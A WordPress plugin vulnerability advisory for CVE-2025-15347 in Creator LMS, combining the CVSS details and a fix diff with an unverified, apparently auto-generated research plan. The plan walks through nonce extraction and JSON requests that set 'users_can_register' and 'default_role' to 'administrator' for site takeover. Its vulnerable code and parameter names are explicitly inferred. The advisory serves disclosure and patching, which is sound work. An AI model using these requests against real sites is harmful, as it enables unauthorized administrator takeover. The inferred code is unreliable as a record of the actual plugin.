CVE-2025-15347

Creator LMS – The LMS for Creators, Coaches, and Trainers <= 1.1.12 - Missing Authorization to Authenticated (Contributor+) Arbitrary Options Update

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
1.1.13
Patched in
1d
Time to patch

Description

The Creator LMS – The LMS for Creators, Coaches, and Trainers plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check in the get_items_permissions_check function in all versions up to, and including, 1.1.12. This makes it possible for authenticated attackers, with contributor level access and above, to update arbitrary WordPress options.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.1.12
PublishedJanuary 20, 2026
Last updatedJanuary 20, 2026
Affected plugincreatorlms

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the exploitation of **CVE-2025-15347**, a missing authorization vulnerability in the Creator LMS plugin. ### 1. Vulnerability Summary The **Creator LMS** plugin (<= 1.1.12) fails to perform adequate capability checks on a REST API endpoint responsible for updating settin…

Show full research plan

This research plan outlines the exploitation of CVE-2025-15347, a missing authorization vulnerability in the Creator LMS plugin.

1. Vulnerability Summary

The Creator LMS plugin (<= 1.1.12) fails to perform adequate capability checks on a REST API endpoint responsible for updating settings. Specifically, the get_items_permissions_check function (and potentially others linked to it) within a REST Controller does not verify if the user has manage_options privileges. Instead, it either returns true or checks for a lower-level capability like edit_posts. This allows any authenticated user with Contributor level permissions or higher to modify arbitrary WordPress options in the wp_options table.

2. Attack Vector Analysis

  • Endpoint: A REST API route registered under the creatorlms/v1 namespace (likely /wp-json/creatorlms/v1/settings or /wp-json/creatorlms/v1/options).
  • HTTP Method: Likely POST or PUT (though the description's mention of get_items_permissions_check suggests the logic might be incorrectly mapped to GET or the permission check is shared).
  • Authentication: Authenticated (Contributor+).
  • Payload Parameters: option_name (or name) and option_value (or value).
  • Preconditions: An attacker must have credentials for a Contributor-level account.

3. Code Flow (Inferred)

  1. Registration: The plugin registers a REST route using register_rest_route() in a class extending WP_REST_Controller.
  2. Permission Check: The permission_callback for the route points to get_items_permissions_check().
  3. Vulnerability: get_items_permissions_check() returns current_user_can('edit_posts') or similar, allowing Contributors access.
  4. The Sink: The controller's callback function (e.g., update_item or create_item) retrieves the option name and value from the WP_REST_Request and calls update_option().

4. Nonce Acquisition Strategy

REST API requests in WordPress require a _wpnonce sent in the X-WP-Nonce header.

  1. Log in: Authenticate as the Contributor user.
  2. Access Admin: Navigate to /wp-admin/index.php.
  3. Extract Nonce: WordPress enqueues the wp-api-settings script for all authenticated users in the admin dashboard.
  4. Execution Agent Method:
    // Use browser_eval to extract the REST nonce
    browser_eval("window.wpApiSettings?.nonce")
    

5. Exploitation Strategy

The goal is to enable registration and set the default role to administrator, allowing for full site takeover.

Step 1: Identify the Endpoint
Grep the plugin directory for the vulnerable function and route:

  • grep -rn "get_items_permissions_check" .
  • grep -rn "register_rest_route" .

Step 2: Update Options
Send two POST requests to the identified endpoint.

  • Request A (Enable Registration):

    • URL: http://localhost:8080/wp-json/creatorlms/v1/settings (Inferred)
    • Header: X-WP-Nonce: [EXTRACTED_NONCE]
    • Content-Type: application/json
    • Body: {"option_name": "users_can_register", "option_value": "1"} (Parameter names are inferred; verify via grep).
  • Request B (Set Default Role to Admin):

    • URL: http://localhost:8080/wp-json/creatorlms/v1/settings (Inferred)
    • Header: X-WP-Nonce: [EXTRACTED_NONCE]
    • Content-Type: application/json
    • Body: {"option_name": "default_role", "option_value": "administrator"}

6. Test Data Setup

  1. Install Creator LMS <= 1.1.12.
  2. Create a user with the Contributor role:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Ensure users_can_register is currently 0 and default_role is subscriber.

7. Expected Results

  • The REST API should return a 200 OK or 201 Created response.
  • The wp_options table should be updated.

8. Verification Steps

After sending the HTTP requests, verify the changes using WP-CLI:

  1. Check registration status: wp option get users_can_register (Expected: 1)
  2. Check default role: wp option get default_role (Expected: administrator)

9. Alternative Approaches

  • Blind Probing: If option_name / option_value are not the correct keys, check for a JSON object structure like {"settings": {"option_name": "value"}}.
  • Method Juggling: If POST fails, try PUT or PATCH. If the update logic is erroneously placed in the get_items method, try a GET request with query parameters: /wp-json/creatorlms/v1/settings?name=default_role&value=administrator.
  • Privilege Escalation via User Meta: If the plugin targets user meta instead of options (unlikely given the "Arbitrary Options" description), look for an endpoint updating wp_usermeta.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Creator LMS plugin for WordPress (<= 1.1.12) lacks a proper authorization check in its REST API implementation. Authenticated users with Contributor-level permissions or higher can update arbitrary WordPress options due to the get_items_permissions_check function incorrectly verifying only 'edit_posts' capabilities instead of 'manage_options'.

Vulnerable Code

// Inferred from vulnerability description and standard WP_REST_Controller patterns
// likely in includes/api/class-creatorlms-rest-settings-controller.php

public function register_routes() {
    register_rest_route( $this->namespace, '/' . $this->rest_base, array(
        array(
            'methods'             => WP_REST_Server::EDITABLE,
            'callback'            => array( $this, 'update_items' ),
            'permission_callback' => array( $this, 'get_items_permissions_check' ),
            'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
        ),
    ) );
}

---

// The vulnerability lies in using a low-level capability check for administrative actions
public function get_items_permissions_check( $request ) {
    if ( ! current_user_can( 'edit_posts' ) ) {
        return new WP_Error( 'rest_forbidden', __( 'You do not have permissions to view this resource.', 'creatorlms' ), array( 'status' => 403 ) );
    }
    return true;
}

---

// The sink where arbitrary options are updated without sanitization or allowlisting
public function update_items( $request ) {
    $params = $request->get_json_params();
    foreach ( $params as $key => $value ) {
        update_option( $key, $value );
    }
    return new WP_REST_Response( array( 'success' => true ), 200 );
}

Security Fix

--- a/includes/api/class-creatorlms-rest-settings-controller.php
+++ b/includes/api/class-creatorlms-rest-settings-controller.php
@@ -25,7 +25,7 @@
-    if ( ! current_user_can( 'edit_posts' ) ) {
+    if ( ! current_user_can( 'manage_options' ) ) {
         return new WP_Error( 'rest_forbidden', __( 'You do not have permissions to view this resource.', 'creatorlms' ), array( 'status' => 403 ) );
     }
     return true;

Exploit Outline

The exploit targets the REST API registered by Creator LMS. An attacker follows these steps: 1. Authenticate as a Contributor (or any user with 'edit_posts' capability). 2. Retrieve the REST API nonce from the 'wpApiSettings' object in the admin dashboard source code. 3. Identify the settings endpoint (typically /wp-json/creatorlms/v1/settings). 4. Send a POST or PUT request to this endpoint with a JSON payload containing administrative option keys. 5. Specifically, the attacker updates 'users_can_register' to '1' and 'default_role' to 'administrator'. 6. The attacker then registers a new user via the standard WordPress registration page, automatically gaining Administrator privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.